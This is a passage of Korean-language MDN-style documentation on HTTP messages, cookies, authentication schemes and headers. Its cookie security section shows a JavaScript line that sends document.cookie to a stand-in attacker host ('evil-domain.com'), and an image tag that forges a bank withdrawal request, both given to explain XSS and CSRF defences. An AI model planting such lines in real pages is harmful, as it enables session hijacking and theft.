    * 'authority 형식'으로 알려지고 도메인 이름 및 옵션 포트(`':'`가 앞에 붙습니다)로 이루어진 URL의 인증 컴포넌트 입니다. HTTP 터널을 구축하는 경우에만 `CONNECT`와 함께 사용할 수 있습니다.
     `CONNECT developer.mozilla.org:80 HTTP/1.1`
    * `OPTIONS`와 함께 별표(`'*'`) 하나로 서버 전체를 나타내는 'asterisk 형식'입니다.
     `OPTIONS * HTTP/1.1`
3. 메시지의 남은 구조를 정의하는 HTTP 버전은 응답 메시지에서 써야 할 HTTP 버전을 알려주는 역할을 합니다.
### 헤더

요청에 들어가는 HTTP 헤더는 HTTP 헤더의 기본 구조를 따릅니다. 대소문자 구분없는 문자열 다음에 콜론(`':'`)이 붙으며, 그 뒤에 오는 값은 헤더에 따라 달라집니다. 헤더는 값까지 포함해 한 줄로 구성되지만, 꽤 길어질 수 있습니다.

다양한 종류의 요청 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.

* `Via`와 같은 General 헤더는 메시지 전체에 적용됩니다.
* `User-Agent` (en-US), `Accept`와 같은 Request 헤더는 요청의 내용을 좀 더 구체화 시키고(`Accept-Language`), 컨텍스를 제공하기도 하며(`Referer`), 조건에 따른 제약 사항을 주기도 하면서(`If-None`) 요청 내용을 수정합니다.
* 메시지 데이터의 원래 형식과 적용된 인코딩을 설명하는 `Content-Type`과 같은 Representation 헤더(메시지에 본문이 있는 경우에만 존재합니다).

![HTTP 요청의 헤더 예시](/ko/docs/Web/HTTP/Messages/http_request_headers3.png)

### 본문

본문은 요청의 마지막 부분에 들어갑니다. 모든 요청에 본문이 들어가지는 않습니다. `GET`, `HEAD`, `DELETE` , `OPTIONS`처럼 리소스를 가져오는 요청은 보통 본문이 필요가 없습니다. 일부 요청은 업데이트를 하기 위해 서버에 데이터를 전송합니다. 보통 (HTML 폼 데이터를 포함하는) `POST` 요청일 경우에 그렇습니다.

넓게 보면 본문은 두가지 종류로 나뉩니다.

* 헤더 두 개(`Content-Type`와 `Content-Length`)로 정의된 단일 파일로 구성되는 단일-리소스 본문(single-resource bodies)입니다.
* 각각 서로 다른 정보를 담고 있는 멀티파트 본문으로 구성되는 다중 리소스 본문입니다. 보통 HTML 폼 (en-US)과 관련이 있습니다.
HTTP 응답
-------

### 상태 줄

HTTP 응답의 시작 줄은 '상태 줄(status line)'' 이라고 불리며, 다음과 같은 정보를 가지고 있습니다.

1. 보통 `HTTP/1.1`인 프로토콜 버전입니다.
2. 요청의 성공 여부를 나타내는 '상태 코드'입니다. 일반적인 상태 코드는 `200`, `404` 혹은 `302`입니다.
3. 사람이 HTTP 메시지를 이해할 때 도움이 되는 상태 코드에 대한 짧고, 순전히 정보 제공 목적의 '상태 텍스트'

상태 줄은 일반적으로 `HTTP/1.1 404 Not Found.` 같이 표현됩니다.

### 헤더

응답에 들어가는 HTTP 헤더는 다른 헤더와 동일한 구조를 따릅니다. 대소문자를 구분하지 않는 문자열 다음에 콜론(`':'`)이 오며, 그 뒤에 오는 값은 구조가 헤더에 따라 달라집니다. 헤더는 값을 포함해 전체를 한 줄로 표시합니다.

다양한 종류의 응답 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.

* `Via`와 같은 General 헤더는 메시지 전체에 적용됩니다.
* `Vary`와 `Accept-Ranges`와 같은 Response 헤더는 상태 줄에 포함되지 않은 서버에 대한 추가 정보를 제공합니다.
* 메시지 데이터의 원래 형식과 적용된 인코딩을 설명하는 `Content-Type`와 같은 Representation 헤더(메시지에 본문이 있는 경우에만 존재합니다).

![HTTP 응답의 헤더 예제](/ko/docs/Web/HTTP/Messages/http_response_headers3.png)

### 본문

본문은 응답의 마지막 부분에 들어갑니다. 모든 응답에 본문이 들어가지는 않습니다. 해당 페이로드 없이도 요청에 충분히 응답하는 `201` **`Created`**, `204` \*\*`No Content`\*\*과 같은 상태 코드를 가진 응답에는 보통 본문이 없습니다.

넓게 보면 본문은 세가지 종류로 나뉩니다.

* `Content-Type`와 `Content-Length`라는 두 개의 헤더로 정의하는 길이가 알려진 하나의 파일로 구성된 단일-리소스 본문(Single-resource bodies).
* `Transfer-Encoding`가 `chunked`로 설정된 청크로 나뉘어 인코딩되는 길이를 모르는 하나의 파일로 구성된 단일-리소스 본문:.
* 서로 다른 정보를 담고 있는 멀티파트 본문으로 이루어진 다중 리소스 본문: 이 경우는 상대적으로 위의 두 경우에 비해 보기 힘듭니다.
HTTP/2 프레임
----------

HTTP/1.x 메시지는 몇가지 성능 결함이 있습니다.

* 본문은 압축이 되지만, 헤더는 압축이 되지 않습니다.
* 연속된 메시지들은 비슷한 헤더 구조를 가지지만 메시지마다 반복되어 전송되고 있습니다.
* 다중전송(multiplexing)이 불가능합니다. 서버 하나에 연결을 여러개 열어야 하고, 적극적인(warm) TCP 연결이 소극적인(cold) TCP 연결보다 효율적입니다.

HTTP/2에서는 추가적인 단계가 도입되었습니다. HTTP/1.x 메시지를 프레임으로 나누어 스트림에 끼워 넣는 것입니다. 데이터와 헤더 프레임이 분리 되었기 때문에, 헤더를 압축할 수 있습니다. 스트림 여러개를 하나로 묶을 수 있어서(이러한 과정을 '멀티플렉싱'이라 합니다), 기저에서 수행되는 TCP 연결이 좀 더 효율적으로 이루어집니다.

![HTTP/2는 HTTP 메시지를 프레임(단일 스트림의 일부)으로 분할하도록 수정하면 더 많은 최적화를 할 수 있습니다](/ko/docs/Web/HTTP/Messages/binary_framing2.png)

이제 웹 개발자 입장에서는 HTTP 프레임을 매우 쉽게 살펴볼 수 있게 되었습니다. HTTP 프레임은 HTTP/1.1 메시지와 기저가 되는 전송 프로토콜 사이의 HTTP/2에서 추가된 단계입니다. 그렇다고 해서 HTTP 프레임 때문에 개발자들이 API를 바꿔야 할 필요는 없습니다. 브라우저와 서버 둘 다 모두 HTTP 프레임을 쓸 수 있다면, HTTP/2가 활성화되고 사용됩니다.

결론
--

HTTP 메시지는 HTTP에서 핵심적인 역할을 합니다. 메시지 구조는 단순하게 이루어져 있으며, 확장성도 매우 좋습니다. HTTP/2 프레이밍 메커니즘 덕분에 HTTP/1.x 구문과 기저가 되는 전송 프로토콜 사이에 새로운 중간 단계가 추가 되었습니다. 프로토콜을 자체적으로 수정하지 않고, 이미 입증된 메커니즘을 바탕으로 이뤄낸 것입니다.


HTTP 쿠키 - HTTP

HTTP 쿠키
=======

HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각입니다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 함께 전송합니다. 쿠키는 두 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용합니다. 이를 이용하면 사용자의 로그인 상태를 유지할 수 있습니다. 상태가 없는(stateless) HTTP 프로토콜에서 상태 정보를 기억시켜주기 때문입니다.

쿠키는 주로 세 가지 목적을 위해 사용됩니다:

세션 관리(Session management)

서버에 저장해야 할 로그인, 장바구니, 게임 스코어 등의 정보 관리

개인화(Personalization)

사용자 선호, 테마 등의 세팅

트래킹(Tracking)

사용자 행동을 기록하고 분석하는 용도

과거엔 클라이언트 측에 정보를 저장할 때 쿠키를 주로 사용하곤 했습니다. 쿠키를 사용하는 게 데이터를 클라이언트 측에 저장할 수 있는 유일한 방법이었을 때는 이 방법이 타당했지만, 지금은modern storage APIs를 사용해 정보를 저장하는 걸 권장합니다. 모든 요청마다 쿠키가 함께 전송되기 때문에, (특히 mobile data connections에서) 성능이 떨어지는 원인이 될 수 있습니다. 정보를 클라이언트 측에 저장하려면 Modern APIs의 종류인 웹 스토리지 API (`localStorage`와 `sessionStorage`) 와 IndexedDB 를 사용하면 됩니다.

**참고:** 저장된 쿠키(그리고 웹 페이지가 사용할 수 있는 다른 스토리지)를 보려면, 개발자 도구에서 Storage Inspector(스토리지 검사기) (en-US)를 활성화하고 스토리지 트리에서 쿠키 스토리지를 선택하면 됩니다.

쿠키 만들기
------

HTTP 요청을 수신할 때, 서버는 응답과 함께 `Set-Cookie` (en-US) 헤더를 전송할 수 있습니다. 쿠키는 보통 브라우저에 의해 저장되며, 그 후 쿠키는 같은 서버에 의해 만들어진 요청(Request)들의 `Cookie` HTTP 헤더안에 포함되어 전송됩니다. 만료일 혹은 지속시간(duration)도 명시될 수 있고, 만료된 쿠키는 더이상 보내지지 않습니다. 추가적으로, 특정 도메인 혹은 경로 제한을 설정할 수 있으며 이는 쿠키가 보내지는 것을 제한할 수 있습니다.

### `Set-Cookie` 그리고 `Cookie` 헤더

`Set-Cookie` (en-US) HTTP 응답 헤더는 서버로부터 사용자 에이전트로 전송됩니다. 간단한 쿠키는 다음과 같이 설정될 수 있습니다:
```

Set-Cookie: <cookie-name>=<cookie-value>
```

이 서버 헤더는 클라이언트에게 쿠키를 저장하라고 전달합니다.
```

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
```

이제, 서버로 전송되는 모든 요청과 함께, 브라우저는 `Cookie` 헤더를 사용하여 서버로 이전에 저장했던 모든 쿠키들을 회신할 것입니다.
```

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

**참고:** Here's how to use the `Set-Cookie` header in various server-side applications:

* PHP
* Node.JS
* Python
* Ruby on Rails

### 쿠키의 라이프타임

쿠키의 라이프타임은 두가지 방법으로 정의할 수 있습니다:

* *세션* 쿠키는 현재 세션이 끝날 때 삭제됩니다. 브라우저는 "현재 세션"이 끝나는 시점을 정의하며, 어떤 브라우저들은 재시작할 때 *세션을 복원*해 세션 쿠키가 무기한 존재할 수 있도록 합니다.
* *영속적인 쿠키*는 `Expires` 속성에 명시된 날짜에 삭제되거나, `Max-Age` 속성에 명시된 기간 이후에 삭제됩니다.

예를 들면 아래와 같습니다:
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

**참고:** When an expiry date is set, the time and date set is relative to the client the cookie is being set on, not the server.

### `Secure`과 `HttpOnly` 쿠키

Secure 쿠키는 HTTPS 프로토콜 상에서 암호화된(encrypted ) 요청일 경우에만 전송됩니다. 하지만 `Secure`일지라도 민감한 정보는 절대 쿠키에 저장되면 안됩니다, 본질적으로 안전하지 않고 이 플래그가 당신에게 실질적인 보안(real protection)를 제공하지 않기 때문입니다. 크롬52 혹은 Firefox52로 시작한다면, 안전하지 않은 사이트(`http:`) 는 쿠키에 `Secure` 설정을 지시할 수 없습니다.

Cross-site 스크립팅 (XSS (en-US)) 공격을 방지하기 위해, `HttpOnly`쿠키는 JavaScript의 `Document.cookie` (en-US) API에 접근할 수 없습니다; 그들은 서버에게 전송되기만 합니다. 예를 들어, 서버 쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 `HttpOnly`플래그가 설정될 것입니다.
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

### 쿠키의 스코프

`Domain` 그리고 `Path` 디렉티브는 쿠키의 *스코프*를 정의합니다: 어떤 URL을 쿠키가 보내야 하는지.

`Domain`은 쿠키가 전송되게 될 호스트들을 명시합니다. 만약 명시되지 않는다면, (서브 도메인은 포함되지 않는) 현재 문서 위치의 호스트 일부를 기본값으로 합니다. 도메인이 명시되면, 서브도메인들은 항상 포함됩니다.

만약 `Domain=mozilla.org`이 설정되면, 쿠키들은 `developer.mozilla.org`와 같은 서브도메인 상에 포함되게 됩니다.

`Path`는 `Cookie` 헤더를 전송하기 위하여 요청되는 URL 내에 반드시 존재해야 하는 URL 경로입니다. %x2F ("/") 문자는 디렉티브 구분자로 해석되며 서브 디렉토리들과 잘 매치될 것입니다.

만약 `Path=/docs`이 설정되면, 다음의 경로들은 모두 매치될 것입니다:

* `/docs`
* `/docs/Web/`
* `/docs/Web/HTTP`
### `SameSite` 쿠키
Experimental

`SameSite` 쿠키는 쿠키가 cross-site 요청과 함께 전송되지 않았음을 요구하게 만들어, cross-site 요청 위조 공격(CSRF)에 대해 어떤 보호 방법을 제공합니다. `SameSite` 쿠키는 여전히 실험 중이며 모든 브라우저에 의해 아직 제공되지 않고 있습니다.

### `Document.cookie`를 사용한 JavaScript 접근

새로운 쿠키들은 `Document.cookie` (en-US)를 사용해 만들어질 수도 있으며, `HttpOnly` 플래그가 설정되지 않은 경우 기본의 쿠키들은 JavaScript로부터 잘 접근될 수 있습니다.

```js
document.cookie = "yummy\_cookie=choco";
document.cookie = "tasty\_cookie=strawberry";
console.log(document.cookie);
// logs "yummy\_cookie=choco; tasty\_cookie=strawberry"
```

아래 보안 섹션에서 다루고 있는데로 보안 관련 내용들을 잘 알아두시기 바랍니다. JavaScript에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있습니다.

보안
--

**참고:** 기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안됩니다.

### 세션 하이재킹과 XSS

쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 XSS (en-US) 취약점을 이용하는 것을 포함합니다.

```js
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

`HttpOnly` 쿠키 속성은 JavaScript를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.

### Cross-site 요청 위조 (CSRF)

위키피디아에 CSRF에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):

```html
<img
 src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
```

이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:

* XSS (en-US)와 마찬가지로, 입력 필터링은 중요한 문제입니다.
* 모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 합니다.
* 민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 합니다.
* 좀 더 많은 예방 팁은 OWASP CSRF 예방 치트 시트를 참고하시기 바랍니다.
트래킹과 프라이버시
----------

### 서드파티 쿠키

쿠키는 그와 관련된 도메인을 가집니다. 이 도메인이 당신이 현재 보고 있는 페이지의 도메인과 동일하다면, 그 쿠키는 *퍼스트파티 쿠키*라고 불립니다. 만약 도메인이 다르다면, *서드파티 쿠키*라고 부릅니다. 퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는데 반해, 웹 페이지는 다른 도메인의 서버 상에 저장된 (광고 배너와 같은) 이미지 혹은 컴포넌트를 포함할 수도 있습니다. 이러한 서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부르며 웹을 통한 광고와 트래킹에 주로 사용됩니다. 구글이 사용하는 쿠키 타입을 예로 참고하시기 바랍니다. 대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있습니다(예를 들어, EFF이 만든 Privacy Badger이 있습니다).

당신이 만약 서드파티 쿠키를 공개하고 있지 않다면, 쿠키 사용이 밝혀질 경우 소비자 신뢰를 잃을 수도 있습니다. (프라이버시 정책과 같은) 명백한 공개는 쿠키 발견과 관련된 모든 부정적인 효과를 없애는 경향이 있습니다. 어떤 국가들은 쿠키에 관한 법률도 가지고 있습니다. 위키피디아의 쿠키 구문을 예로 참고하시기 바랍니다.

### Do-Not-Track

쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, `DNT` (en-US) 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹 모두를 비활성화하는 신호로 사용될 수 있습니다. 좀 더 자세한 내용은 `DNT` (en-US) 헤더를 참고하시기 바랍니다.

### EU 쿠키 디렉티브

EU 전역의 쿠키에 대한 요구사항은 유럽 의회의 Directive 2009/136/EC에 정의되어 있으며 2011년 5월 25일에 발효되었습니다. 디렉티브는 그 자체로 법은 아니지만, 디렉티브의 요구사항을 만족시키는 법을 제정하려는 EU 회원국들을 위한 요구사항입니다. 실제 법들은 나라마다 다를 수 있습니다.

짧게 말하자면, EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용입니다. 많은 웹 사이트들은 사용자가에게 쿠키 사용에 대한 내용을 알려준 뒤에 배너들을 추가할 수 있습니다.

좀 더 자세한 내용은 여기 위키피디아 섹션을 보시고 가장 최근의 가장 정확한 정보는 국가법을 참고하시기 바랍니다.

### 좀비 쿠키와 Evercookies

쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 웹 스토리지 API, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있습니다.

* Samy Kamkar의 Evercookie
* 좀비 쿠키에 대한 위키피디아
함께 참고할 내용
---------

* `Set-Cookie` (en-US)
* `Cookie`
* `Document.cookie` (en-US)
* `Navigator.cookieEnabled` (en-US)
* 스토리지 검사기를 사용하여 쿠키 검사하기 (en-US)
* 쿠키 명세: RFC 6265
* 쿠키에 대한 Nicholas Zakas의 글
* 쿠키와 보안에 대한 Nicholas Zakas의 글
* HTTP 쿠키에 대한 위키피디아


HTTP 인증 - HTTP

HTTP 인증
=======

HTTP는 접근 제어와 인증을 위한 일반적인 프레임워크를 제공합니다. 이 페이지에서는 일반적인 HTTP 인증 프레임워크를 소개하고 서버에 HTTP의 Basic 스키마 인증 방식으로 접근을 제한하는 것을 보여줍니다.

일반적인 HTTP 인증 프레임워크
------------------

RFC 7235는 서버에 의해 클라이언트 요청을 시도하고, 클라이언트에 의해 인증 정보를 제공하기 위해 사용될 수 있는 HTTP 인증 프레임워크를 정의합니다.

이러한 시도와 응답 과정은 다음과 같이 작동합니다.

1. 서버는 클라이언트에게 `401` (Unauthorized) 응답 코드를 가지고 응답하며, 최소한 한 번의 시도에 포함된 `WWW-Authenticate` (en-US) 응답 헤더로 권한을 부여하는 방법에 대한 정보를 제공합니다.
2. 서버와 인증을 하기를 원하는 클라이언트는 `Authorization` 요청 헤더 필드에 인증 정보를 포함함으로써 인증을 수행할 수 있습니다.
3. 클라이언트는 대개 사용자에게 비밀번호 프롬프트를 표시할 것이고 정확한 `Authorization` 헤더를 포함하는 요청을 만들 것입니다.

![클라이언트와 서버 라이프라인 간의 HTTP 메시지를 보여주는 시퀀스 다이어그램](/ko/docs/Web/HTTP/Authentication/http-auth-sequence-diagram.png)

위의 일반적인 메시지 흐름은 대부분(전부는 아니지만) 인증 체계에 대해 동일합니다. 헤더의 실제 정보와 인코딩 방식은 변경됩니다!

**경고:** 위 다이어그램에 사용된 "Basic" 인증 체계는 암호화되었지만, 암호화되지 않은 자격 증명을 보냅니다.
 교환이 보안 연결(HTTPS/TLS)을 통해 이루어지지 않는 한, 이는 완전히 안전하지 않습니다.

### 프록시 인증

동일한 시도 및 응답 메커니즘이 '프록시 인증'을 위해서도 사용될 수 있습니다. 리소스 인증 및 프록시 인증은 함께 존재할 수 있기 때문에, 헤더와 상태 코드의 다른 세트가 필요합니다. 프록시의 경우, 요청에 대한 상태 코드는 `407` (en-US) (Proxy Authentication Required)이고, `Proxy-Authenticate` (en-US) 응답 헤더는 프록시에 적용 가능한 최소한 하나의 요청을 포함하며, 그리고 `Proxy-Authorization` (en-US) 요청 헤더는 프록시 서버에 인증 정보를 제공하기 위해 사용됩니다.

### 접근 거부

(프록시) 서버가 유효하지 않은 인증 정보를 받는다면, 서버는 `401` `Unauthorized` 또는 `407` (en-US) `Proxy Authentication Required`로 응답하여야 하고, 사용자는 새로운 요청을 보내거나 `Authorization` 헤더 필드를 바꿀 수 있습니다.

(프록시) 서버가 주어진 리소스에 대한 접근 권한을 얻기 위해 '적절하지 않은' 유효한 인증 정보를 받는다면, 서버는 `403` `Forbidden` 상태 코드로 응답하여야 합니다. `401` `Unauthorized`나 `407` (en-US) `Proxy Authentication Required`와는 다르게, 해당 사용자에 대한 인증은 불가능하고, 브라우저는 새로운 시도를 제안하지 않습니다.

모든 경우에, 서버는 적절한 권한이 없거나 인증되지 않은 사용자에게 페이지의 존재를 숨기기 위해 `404` `Not Found` 상태 코드를 반환하는 것을 선호할 수 있습니다.

### 교차 원본 이미지 인증

잠재적인 보안 문제(이후 브라우저에서 수정됩니다)는 크로스 사이트 이미지 인증이었습니다. Firefox 59 (en-US)부터 다른 출처에서 현재 문서로 로드된 이미지 리소스는 더 이상 HTTP 인증 대화상자를 연결할 수 없습니다(Firefox bug 1423146). 공격자가 임의의 이미지를 제 3자 페이지에 삽입할 수 있는 경우 사용자가 자격 증명이 도난당하는 것을 방지합니다.

### HTTP 인증의 문자 인코딩

브라우저는 사용자 이름과 비밀번호에 `utf-8` 인코딩을 사용합니다.

Firefox는 한때 `ISO-8859-1`을 사용했지만 다른 브라우저와의 패리티를 위해 그리고 Firefox bug 1419658에 설명된 잠재적인 문제를 피하기 위해 `utf-8`로 변경했습니다.

### WWW-Authenticate와 Proxy-Authenticate 헤더

`WWW-Authenticate` (en-US)와 `Proxy-Authenticate` (en-US) 응답 헤더는 자원에 대한 접근을 얻기 위해 사용되어야 할 인증 방법을 정의합니다. 이들은 인증을 하려는 클라이언트가 인증 정보를 제공할 방법을 알기 위해, 어떤 인증 스키마가 사용될 것인지를 구체적으로 정할 필요가 있습니다.

이러한 헤더의 문법은 다음과 같습니다.

```http
WWW-Authenticate: <type> realm=<realm>
Proxy-Authenticate: <type> realm=<realm>
```

여기서, `<type>`은 인증 스키마입니다("Basic"은 가장 일반적인 스키마이며 아래에 소개된 부분). 'realm'은 보호되는 영역을 설명하거나 보호의 범위를 알리는데 사용됩니다. 이는 어떤 공간에 사용자가 접근하려고 시도하는지를 알리기 위하여, "중간 단계의 사이트에 대한 접근"과 같거나 또는 비슷한 메시지가 될 수 있습니다.

### Authorization와 Proxy-Authorization 헤더

`Authorization`와 `Proxy-Authorization` (en-US) 요청 헤더는 사용자 에이전트가 (프록시) 서버에 인증을 하기 위한 인증 정보를 포함합니다. 여기에서, `<type>`은 다시 한 번 필요하며 자격 증명이 뒤에 따라옵니다. 어떤 인증 스키마가 사용되는지에 따라 인코딩이 되어 있거나 암호화가 될 수 있는 자격 증명이 필요합니다.

```http
Authorization: <type> <credentials>
Proxy-Authorization: <type> <credentials>
```

### 인증 스키마

일반적인 HTTP 인증 프레임워크는 여러 인증 스키마에 의해 사용됩니다.

IANA는 인증 체계 목록을 유지 관리하지만 Amazon AWS와 같은 호스트 서비스에서 제공하는 다른 체계도 있습니다.

몇 가지 일반적인 인증 체계는 다음과 같습니다.

**Basic**

base64로 인코딩된 자격증명인 RFC 7617와 자세한 내용은 아래를 참조하세요.

**Bearer**

OAuth 2.0으로 보호되는 리소스에 접근하기 위한 전달자 토큰인 RFC 6750를 참조하세요.

**Digest**

RFC 7616를 참조하세요. Firefox 93 이상에서는 SHA-256 알고리즘을 지원합니다. 이전 버전은 MD5 해싱만 지원합니다(권장되지 않음).

**HOBA**

RFC 7486, Section 3, **H**TTP **O**rigin-**B**ound **A**uthentication, 디지털 서명 기반 인증을 참조하세요

**Mutual**

RFC 8120 참조하세요.

**Negotiate** / **NTLM**

RFC4599 참조하세요.

**VAPID**

RFC 8292 참조하세요.

**SCRAM**

RFC 7804 참조하세요.

**AWS4-HMAC-SHA256**

AWS 문서를 참조하세요. 이 체계는 AWS3 서버 인증에 사용됩니다.

스키마는 보안 강도와 클라이언트 또는 서버 소프트웨어에서 사용 가능성에 따라 달라질 수 있습니다.

"Basic" 인증 스키마는 보안이 매우 좋지 않지만 광범위하게 지원되며 설정이 쉽고, 아래에 더 자세히 소개되어 있습니다.

Basic 인증 스킴
-----------

"Basic" HTTP 인증 스킴은 RFC 7617에 정의되어 있는데, 이는 base64를 이용하여 인코딩된 사용자 ID/비밀번호 쌍의 인증 정보를 전달합니다.

### Basic 인증의 보안

사용자 ID와 비밀번호가 평문으로 네트워크를 통해 전달되기 때문에 (이것은 base64로 인코딩 되어 있으나, base64는 복호화가 가능한 인코딩이므로), Basic 인증 스키마는 안전하지 않습니다. HTTPS / TLS는 basic 인증과 함께 사용되어야 합니다. 이러한 추가적인 보안 향상 없이는, basic 인증은 민감하거나 귀중한 정보를 보호하는 데 사용되어서는 안 됩니다.

### Apache와 Basic 인증으로 접근 제한하기

Apache 서버에서 디렉터리를 비밀번호로 보호하기 위해서는, `.htaccess`와 `.htpasswd` 파일이 필요할 것입니다.

`.htaccess` 파일은 일반적으로 이렇게 생겼습니다.

```apacheconf
AuthType Basic
AuthName "Access to the staging site"
AuthUserFile /path/to/.htpasswd
Require valid-user
```

`.htaccess` 각각의 줄이 콜론(`:`)으로 나뉘어져 있는 사용자 이름과 비밀번호를 포함하는 `.htpasswd` 파일을 참조합니다. 여러분은 그들이 해쉬 암호화되어 있기 때문에 (이 경우에서는 md5) 실제 비밀번호를 보지 못할 수도 있습니다. 여러분이 원한다면 `.htpasswd` 파일의 이름을 바꿀 수 있지만, 이 파일은 누구에게도 접근 가능해서는 안 됨을 유의하세요(Apache는 일반적으로 `.ht*` 파일에 대한 접근을 제한하도록 설정되어 있습니다).

```apacheconf
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
```

### Nginx와 Basic 인증으로 접근 제한하기

Nginx에서, 여러분은 보호하려는 위치와 비밀번호로 보호될 영역의 이름을 나타내는 `auth_basic` 명령어를 적어줄 필요가 있습니다. 위의 Apache 예제에 있는 것과 같이, `auth_basic_user_file` 명령어는 암호화된 사용자 인증 정보를 가지고 있는 `.htpasswd` 파일을 가리킵니다.

```apacheconf
location /status {
    auth_basic           "Access to the staging site";
    auth_basic_user_file /etc/apache2/.htpasswd;
}
```

### URL에 인증 정보를 사용하여 접근하기

또한 많은 클라이언트들은 아래와 같이 사용자 이름과 비밀번호를 포함하는 인코딩된 URL을 사용하여 로그인 프롬프트를 피할 수 있습니다.
```

https://username:password@www.example.com/
```

**이러한 방식의 URL은 더 이상 사용되지 않습니다**. Chrome에서, URL의 `username:password@` 부분은 보안 상의 이유로 제거됩니다. Firefox에서는, 해당 사이트가 실제로 인증이 필요한지를 체크하며, 그렇지 않으면 Firefox는 프롬프트로 "사용자 이름 `username`을 사용하여 `www.example.com` 사이트에 로그인하려고 하지만, 웹사이트는 인증이 필요하지 않습니다. 이는 사용자를 속이려는 시도일 수 있습니다."와 같은 메시지로 사용자에게 경고합니다.

같이 보기
-----

* `WWW-Authenticate` (en-US)
* `Authorization`
* `Proxy-Authorization` (en-US)
* `Proxy-Authenticate` (en-US)
* `401`, `403`, `407` (en-US)


HTTP 헤더 - HTTP

HTTP 헤더
=======

HTTP 헤더는 클라이언트와 서버가 요청 또는 응답으로 부가적인 정보를 전송할 수 있도록 해줍니다. HTTP 헤더는 대소문자를 구분하지 않는 이름과 콜론 '`:`' 다음에 오는 값(줄 바꿈 없이)으로 이루어져있습니다. 값 앞에 붙은 빈 문자열은 무시됩니다.

커스텀 등록 헤더는 'X-'를 앞에 붙여 추가될 수 있지만, 이 관례는 RFC 6648에서 비표준 필드가 표준이 되었을때 불편함을 유발하는 이유로 2012년 6월에 폐기되었습니다. 다른것들은 IANA 레지스트리에 나열되어 있으며, 원본 컨텐츠는 RFC 4229에서 정의되었습니다. IANA는 또한 제안된 새로운 메시지 헤더의 레지스트리도 관리합니다.

헤더는 컨텍스트에 따라 그룹핑될 수 있습니다:

* General header: 요청과 응답 모두에 적용되지만 바디에서 최종적으로 전송되는 데이터와는 관련이 없는 헤더.
* Request header: 페치될 리소스나 클라이언트 자체에 대한 자세한 정보를 포함하는 헤더.
* Response header: 위치 또는 서버 자체에 대한 정보(이름, 버전 등)와 같이 응답에 대한 부가적인 정보를 갖는 헤더.
* Entity header: 컨텐츠 길이나 MIME 타입과 같이 엔티티 바디에 대한 자세한 정보를 포함하는 헤더.

헤더는 또한 프록시의 처리 방법에 따라 그룹핑할 수도 있습니다:

종단간 헤더

이러한 헤더는 반드시 메시지의 최종 수신자에게 전송되어야 합니다. 즉, 요청에 대해서는 서버, 응답에 대해서는 클라이언트입니다. 중간 프록시는 반드시 종단 간 헤더를 수정되지 않은 상태로 재전송해야하며 캐시는 이를 반드시 저장해야합니다.

홉간 헤더

이러한 헤더는 단일 전송-레벨 연결에서만 의미가 있으며 프록시에의해 재전송되거나 캐시되어선 안됩니다. 이러한 헤더들은 다음과 같습니다: `Connection`, `Keep-Alive`, `Proxy-Authenticate` (en-US), `Proxy-Authorization` (en-US), `TE` (en-US), `Trailer` (en-US), `Transfer-Encoding`, `Upgrade` (en-US). 홉간 헤더는 `Connection` 일반 헤더를 사용해 설정될 수도 있음을 유의하세요.

다음은 사용 카테고리에 따라 HTTP 헤더를 요약한 리스트입니다. 알파벳순의 리스트는 왼쪽의 네비게이션을 보세요.

인증
--

